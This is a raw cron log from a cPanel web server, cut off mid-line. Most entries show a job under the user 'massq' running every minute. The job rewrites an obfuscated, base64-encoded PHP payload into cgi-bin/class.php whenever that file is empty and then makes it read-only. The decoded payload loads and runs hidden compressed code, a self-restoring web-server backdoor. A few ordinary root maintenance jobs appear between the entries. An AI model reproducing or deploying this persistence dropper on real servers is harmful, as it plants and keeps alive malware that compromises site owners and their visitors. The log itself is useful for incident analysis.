Nov 15 21:06:01 server CROND[17075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:07:01 server CROND[17384]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:08:01 server CROND[17672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:09:01 server CROND[17964]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:09:01 server CROND[17965]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 21:10:01 server CROND[18243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 21:10:01 server CROND[18245]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 21:10:01 server CROND[18246]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:10:01 server CROND[18244]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 21:11:01 server CROND[18573]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:12:01 server CROND[18942]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:12:01 server CROND[18943]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 21:13:01 server CROND[19214]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:14:01 server CROND[19471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:15:02 server CROND[19739]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 21:15:02 server CROND[19740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:15:02 server CROND[19741]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 21:16:01 server CROND[20059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:17:01 server CROND[20423]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:18:01 server CROND[20690]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:19:01 server CROND[20965]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 